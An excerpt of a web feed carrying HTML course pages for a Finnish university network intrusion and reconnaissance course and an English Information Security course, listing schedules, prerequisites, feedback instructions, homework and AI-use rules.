&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;Pasila, classroom pa5001&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30 (Fully booked. Queuing? Come to the first class.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom, mandatory attendance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;Erinomainen 4.5 /5 &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=45178&quot;&gt;Moodle: Verkkoon tunkeutuminen ja tiedustelu&lt;/a&gt;, Laksu. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Teachers&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://TeroKarvinen.com&quot;&gt;Tero Karvinen&lt;/a&gt; and &lt;a href=&quot;https://github.com/lisoant&quot;&gt;Lari Iso-Anttila&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-03-23 w13 Mon 08:00, pa5001, bring your laptop&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Enroll&lt;/td&gt;&lt;td&gt;in Peppi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe, ope&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-03-23 w13 Mon&lt;/td&gt;&lt;td&gt;1. Kokonaiskuva: teoria, tärkeimmät mallit - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-03-30 w14 Mon&lt;/td&gt;&lt;td&gt;2. Liikenteen sieppaaminen ja analyysi - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-06 w15 Mon&lt;/td&gt;&lt;td&gt;(Pääsiäisvapaa, ei oppituntia)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-13 w16 Mon&lt;/td&gt;&lt;td&gt;4. NFC ja RFID - Lari&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-20 w17 Mon&lt;/td&gt;&lt;td&gt;5. Laboratorio- ja simulaatioympäristöt hyökkäyksissä - Lari&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-04-27 w18 Mon&lt;/td&gt;&lt;td&gt;6. WiFi - Lari&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-05-04 w19 Mon&lt;/td&gt;&lt;td&gt;7. Radiosignaalien automaattinen purkaminen - Tero&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-05-11 w20 Mon&lt;/td&gt;&lt;td&gt;8. Lipunryöstö - Tero, Lari&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Opetus maanantaisin 08:00 - 10:45 pa5001.&lt;/p&gt;
&lt;p&gt;Läppäri mukaan, Linux virtuaalikoneessa. (Apple Mac-käyttäjät: kurssilla pitää pystyä ajamaan tavallisia amd64-binäärejä, suosittelemme &quot;tavallista PC-läppäriä&quot; eli amd64-prosessoria. Tavalliset amd64-binäärit eivät toimi M1, M2, M3, M4 Maceissa ainakaan helposti.)&lt;/p&gt;
&lt;p&gt;Aikataulu on alustava ja kurssi on edistynyt, joten aiheet voivat vielä muuttua kurssin aikana.&lt;/p&gt;
&lt;h2 id=&quot;anna-palautetta&quot;&gt;Anna palautetta &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#anna-palautetta&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palaute on todella tärkeä tapa kehittää kurssia – kiitos kommenteista jo etukäteen. Palaute kahteen kanavaan&lt;/p&gt;
&lt;h3 id=&quot;1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot;&gt;1) Vapaamuotoinen palaute kommenttina tämän kurssisivun perään &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#comments&quot;&gt;Vapaamuotoinen palaute kommenttina tämän kurssisivun perään&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vapaamuotoiseen palautteeseen saa kirjoittaa mitä vain, eikä kysymyksiä tarvitse toistaa. Mutta tässä vinkiksi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opitko jotakin – eli osaatko nyt sellaista, mitä et osannut ennen kurssia?&lt;/li&gt;
&lt;li&gt;Teitkö jotain ensimmäistä kertaa? Analysoit radiosanomia, kuuntelit radioskanneria, mursit RFID-kortteja; käytit jotain kieltä, tekniikkaa tai työkalua?&lt;/li&gt;
&lt;li&gt;Oliko opittu hyödyllistä? Luuletko, että sille on käyttöä esim. tulevaisuudessa töissä tai kotona?&lt;/li&gt;
&lt;li&gt;Mitä mieltä olit läksyistä? Luku/video/podcast -materiaalista? Hands-on tehtävistä?&lt;/li&gt;
&lt;li&gt;Miten voisin parantaa kurssia?&lt;/li&gt;
&lt;li&gt;Viihdyitkö kurssilla?&lt;/li&gt;
&lt;li&gt;Suosittelisitko kurssia? Kenelle kurssi sopisi? Koulutoverille tai kollegalle?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot;&gt;2) Numeerinen palaute Haaga-Helian palautejärjestelmään MyNetissa &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Numeerinen palaute &lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Haaga-Helian palautejärjestelmään MyNetissa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Numeerisen palautteen avulla mm. verrataan Haaga-Helian kursseja toisiinsa. On tärkeää saada jokaiselta palaute, jotta tulos on tilastollisesti merkitsevä.&lt;/p&gt;
&lt;p&gt;Numeeriset: Asteikko 1-välttävä (huonoin) ... 5-kiitettävä (paras)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oma aktiivisuutesi opiskelussa        1-5&lt;/li&gt;
&lt;li&gt;Osaamistavoitteiden saavuttaminen     1-5&lt;/li&gt;
&lt;li&gt;Työskentelytavat tukivat oppimista    1-5&lt;/li&gt;
&lt;li&gt;Opiskeluympäristö tuki oppimista      1-5&lt;/li&gt;
&lt;li&gt;Hyödyllisyys työelämään               1-5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avoimet kysymykset (näihin voi myös kopioida samat vastaukset jotka kirjoitit aiemmin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mitkä asiat edistivät oppimistasi?&lt;/li&gt;
&lt;li&gt;Miten kehittäisit toteutusta / toteutuskokonaisuutta, jotta osaamistavoitteet saavutettaisiin paremmin?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kokonaisarviosi toteutuksesta / toteutuskokonaisuudesta 1-5&lt;/p&gt;
&lt;p&gt;Suosittelisitko 1 - 10 (1 en varmasti, 10 aion varmasti suositella tai olen jo suositellut)&lt;/p&gt;
&lt;p&gt;Kiitos palautteesta ja jännittävästä kurssista! Seuraavilla kursseilla nähdään.&lt;/p&gt;
&lt;h2 id=&quot;lahtotaso&quot;&gt;Lähtötaso &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#lahtotaso&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kurssin alkaessa tulee osata&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Verkkojen perusteet&lt;/li&gt;
&lt;li&gt;Linuxin alkeet&lt;/li&gt;
&lt;li&gt;Asentaa Linux virtuaalikoneeseen omalle koneelle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Millä tahansa tavalla hankitut esitiedot kelpaavat. Tiedot on voinut hankkia esimerkiksi kursseilla &quot;Linux palvelimet&quot; tai &quot;Tietoverkkojen perusteet&quot;, mutta itse opeteltu sopii myös.&lt;/p&gt;
&lt;p&gt;Esitiedot tarkistetaan tarvittaessa kyselyllä, ja kurssille valittavat voidaan tarvittaessa valita alkutestin perusteella.&lt;/p&gt;
&lt;p&gt;Voit halutessasi kerrata tai opetella taidot alta ennen kurssia. Jos osaat aiheet jo, kertauspakettia ei tarvitse lukea.&lt;/p&gt;
&lt;h2 id=&quot;kertauspaketti&quot;&gt;Kertauspaketti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#kertauspaketti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Jos osaat nämä asiat jo, et tarvitse kertauspakettia.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Jos kurssilla järjestetään alkutesti, sen kysymykset eivät välttämättä rajoitu tässä lueteltuihin lähteisiin.&lt;/p&gt;
&lt;h3 id=&quot;verkkojen-perusteet&quot;&gt;Verkkojen perusteet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#verkkojen-perusteet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Nämä ovat siis jokapäiväisiä TCP/IP:n perusteita, joita olet varmaan joskus käyttänyt.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IP-osoite (ip address), maski (network mask), nimipalvelin (domain name server), oletusreititin (default gateway)&lt;/li&gt;
&lt;li&gt;Asiakas-palvelin-arkkitehtuuri (client-server)&lt;/li&gt;
&lt;li&gt;Portti, kuunteleva portti, yläportti (ephemeral port), muutama tärkein TCP-portti (22, 53, 80, 443)&lt;/li&gt;
&lt;li&gt;Pinomallin ajatus (abstraction layers, kerros puhuu vain viereiselle kerrokselle)&lt;/li&gt;
&lt;li&gt;TCP/IP-pinon neljä kerrosta (application esim. HTTP, transport TCP, Internet IP, Link ARP)&lt;/li&gt;
&lt;li&gt;Seuraavan hypyn reitityksen perusajatus (next hop routing, ei reititystekniikoita)&lt;/li&gt;
&lt;li&gt;Verkkotyökalujen alkeet. Esimerkiksi oma ip-osoite (ip a, hostname -I), nimipalvelutiedot (host terokarvinen.com), onko portti auki (nc -vz localhost 80; telnet localhost 80), latenssin mittaus (ping 8.8.8.8).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wikipedia: &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;Internet protocol suite&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;linuxin-alkeet&quot;&gt;Linuxin alkeet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#linuxin-alkeet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Linuxia käytetään työkaluna. Perustaidot riittävät. Kurssi ei edellytä laajoja Linuxin ylläpitotaitoja.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Komentokehotteen käyttö&lt;/li&gt;
&lt;li&gt;Pääkäyttäjän oikeudet (sudo)&lt;/li&gt;
&lt;li&gt;Pakentinhallinta (apt-get)&lt;/li&gt;
&lt;li&gt;Hakemistorakenne (esim. /home/tero/, /etc/, /, /var/log, /usr/bin/, /usr/local/bin/)&lt;/li&gt;
&lt;li&gt;Lokit (sudo journalctl -n 20; /var/log/apache2/error.log)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Opettele komennot tästä: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Karvinen 2020: Command Line Basics Revisited&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Helpointa kerrata nämä asentamalla Linux virtuaalikoneeseen ja leikkimällä sillä.&lt;/p&gt;
&lt;h3 id=&quot;linuxin-asentaminen-virtuaalikoneeseen&quot;&gt;Linuxin asentaminen virtuaalikoneeseen &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#linuxin-asentaminen-virtuaalikoneeseen&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Esimerkiksi Debianin asentaminen VirtualBoxiin (ohje alla)&lt;/li&gt;
&lt;li&gt;Voit käyttää muitakin virtualisointiratkaisuja, jos pystyt itse soveltamaan ja ratkomaan niihin liittyvät haasteet (esim QEMU, lib-virt, virt-manager...)&lt;/li&gt;
&lt;li&gt;Jos oma koneesi on uusi M1, M2 tai M3-prosessorilla varustettu Mac, niin tulee osata asentaa Linux virtuaalikoneeseen tässä (arm64) ympäristössä.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tällä asennusohjeella opiskelijat ovat asentaneet satoja Linuxeja: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox - Updated 2024&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes on &lt;a href=&quot;https://github.com/MarcCarr/InfoSecMC/blob/main/H2_Kill_Chain.md#a-bookworm&quot;&gt;Mac M1 install: Carr 2024: a) Bookworm&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2025/verkkoon-tunkeutuminen-ja-tiedustelu--ici013as3a-3001--2025p4/&quot;&gt;Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3001 loppukeväällä 2025p4&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palautus 24 h ennen seuraavaa lukujärjestykseen merkittyä aikaa. Weppisivulle (HTML), ja palauta linkki Laksuun. Halutessasi voit laittaa linkin myös kommentiksi tämän sivun perään, niin sivusi saa lisää kävijöitä ja nousee PageRankissa.&lt;/p&gt;
&lt;p&gt;Nämä läksyt ovat alustavia. Läksyt ovat virallisia vasta, kun ne on annettu tunnilla. Tämä on edistynyt kurssi, joten pystymme tekemään muutoksia kurssin kuluessa ja sovittamaan läksyt aiheen mukaan. Jos et uskalla tai muuten halua julkaista, voit laittaa weppisivun salasanan taakse (sama salasana koko kurssille ja jokaiselle tehtävälle, ei kirjautumista eri tunnuksilla eri henkilöille) ja jakaa salasanan kurssilaisten kanssa - mutta suosittelen julkaisua. Kotisivutilaa saa esim wordpress.com, github.com, gitlab.com ja monista muista paikoista.&lt;/p&gt;
&lt;p&gt;Suosittu ja helppo tapa on &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;laittaa raportit Githubiin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p&gt;
&lt;p&gt;Kaikkien ajan säästämiseksi poistan kurssilta ne, jotka eivät palauta tehtäviä ajallaan.&lt;/p&gt;
&lt;p&gt;Tekoälyn käyttö: Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&quot;&lt;/p&gt;
&lt;h3 id=&quot;tehtavanannot&quot;&gt;Tehtävänannot &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#tehtavanannot&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Läksyt on liitetty tähän uudella tavalla, laita viestiä jos läksyt eivät näy.&lt;/em&gt;&lt;/p&gt;
&lt;div id=homeworkEmbed&gt;Loading homework with JavaScript. You can also &lt;a href=&quot;https://app.terokarvinen.com/embed/course/49/tasks/&quot;&gt;read homework directly&lt;/a&gt;, without JavaScript. &lt;/div&gt;
&lt;script&gt;fetch(&quot;https://app.terokarvinen.com/embed/course/49/tasks/&quot;).then(e=&gt;e.text()).then(e=&gt;document.getElementById(&quot;homeworkEmbed&quot;).innerHTML=e)&lt;/script&gt;
</content>
  </entry>

  <entry>
    <title>Information Security - 2026 early spring</title>
    <link href="https://terokarvinen.com/information-security/"/>
    <id>https://terokarvinen.com/information-security/</id>
    <published>2026-01-05T17:05:00+02:00</published>
    <updated>2026-01-05T17:05:00+02:00</updated>
    <content type="html">&lt;figure class=&quot;right&quot; style=&quot;max-width: 100px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/information-security/shield-check-line.w400.h2bf2ca78.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/information-security/shield-check-line.w400.h2bf2ca78.avif 400w&quot; sizes=&quot;(max-width: 100px) 100vw, 100px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/information-security/shield-check-line.w400.h2bf2ca78.png&quot; srcset=&quot;https://terokarvinen.com/information-security/shield-check-line.w400.h2bf2ca78.png 400w&quot; sizes=&quot;(max-width: 100px) 100vw, 100px&quot; width=&quot;400&quot; height=&quot;400&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Understand adversarial view on security. Recognize key concepts of security. Be able to safely practice hands-on with security tools.&lt;/p&gt;
&lt;p&gt;Face-to-face in a real life classroom. In English.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code:&lt;/td&gt;&lt;td&gt;Information Security ICI002AS2AE-3006 (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI002AS2AE&quot;&gt;study guide&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 period 3, w03-w11, not w08&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 ECTS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Thursdays 11:00&lt;/strong&gt; - 13:45, in Pasila &lt;strong&gt;pa5001&lt;/strong&gt;, bring your &lt;strong&gt;laptop&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30. Sold out. Still likely to get a place from queue.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;&lt;strong&gt;English&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Contact&lt;/strong&gt;, in physical classroom, mandatory participation [as requested]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;4.4 / 5 &lt;strong&gt;&lt;a href=&quot;https://terokarvinen.com/information-security/#comments&quot;&gt;Very good feedback&lt;/a&gt;&lt;/strong&gt;, best implementation 4.8/5 excellent &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt; *&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=45168&quot;&gt;Moodle&lt;/a&gt;, Laksu. Optionally &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2026-01-15 w03 Thu 11:00&lt;/strong&gt;, Pasila &lt;strong&gt;pa5001&lt;/strong&gt;, physically present with your &lt;strong&gt;laptop&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Enroll&lt;/td&gt;&lt;td&gt;Very good change to get a place from the queue. Enroll in Peppi and come to the first class.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;* I&#39;m giving other security courses, too. Penetration testing (challenging course in Finnish) has reached excellent 5.0 /5, with every participant giving feedback and each feedback being 5. And Master level (YAMK) Trust to Blockchain has reached excellent 4.9 /5.&lt;/p&gt;
&lt;h2 id=&quot;goals&quot;&gt;Goals &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#goals&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After completing this course, you will&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understand adversarial view on security&lt;/li&gt;
&lt;li&gt;Recognize key concepts of security&lt;/li&gt;
&lt;li&gt;Be able to safely practice hands-on with security tools&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hands-on exercises will emphasize environments fully controlled by you, using free open source software in your possession.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;agenda&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;schedule&quot;&gt;Schedule &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#schedule&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Thursdays 11:00&lt;/strong&gt; - 13:45, in Pasila &lt;strong&gt;pa5001&lt;/strong&gt;, bring your &lt;strong&gt;laptop&lt;/strong&gt;.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;Theme&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-01-15 w03 Thu&lt;/td&gt;&lt;td&gt;1. Organizing. Threath modeling.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-01-22 w04 Thu&lt;/td&gt;&lt;td&gt;2. Cyber kill chain. First presentations. Themes: Governance, risk and compliance; Wildcard. Malte. Alexander: Phishing attacks. Aleksi: Basic online safety. Jaime.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-01-29 w05 Thu&lt;/td&gt;&lt;td&gt;3. Practice environments. Themes: Cyber attacks, malware, adversary methods. Suprim: Pratice Environments.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-02-05 w06 Thu&lt;/td&gt;&lt;td&gt;4. Web security. OWASP 10. Themes: Web security, application security, audits. Julien: Web security, app security and audits. Niroj. Maaz. Ezza.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-02-12 w07 Thu&lt;/td&gt;&lt;td&gt;5. Encryption. Asymmetric vs symmetric. GPG. SSH. Themes: Encryption and communication security. Steeve. Lee.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-02-26 w09 Thu&lt;/td&gt;&lt;td&gt;6. Passwords. Hashes introduction. Themes: Identity, passwords, authentication.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-03-05 w10 Thu&lt;/td&gt;&lt;td&gt;7. Themes: New developements. OSINT. Arshpreet: New developments in OSINT and role of TOR. Jonas: Darknets. Suman: Identity, passwords and authentication. Optional: Darknet, TOR.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-03-12 w11 Thu&lt;/td&gt;&lt;td&gt;8. Recap. Themes: Case examples. E.g. from your work. Moosa. Sajjad.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
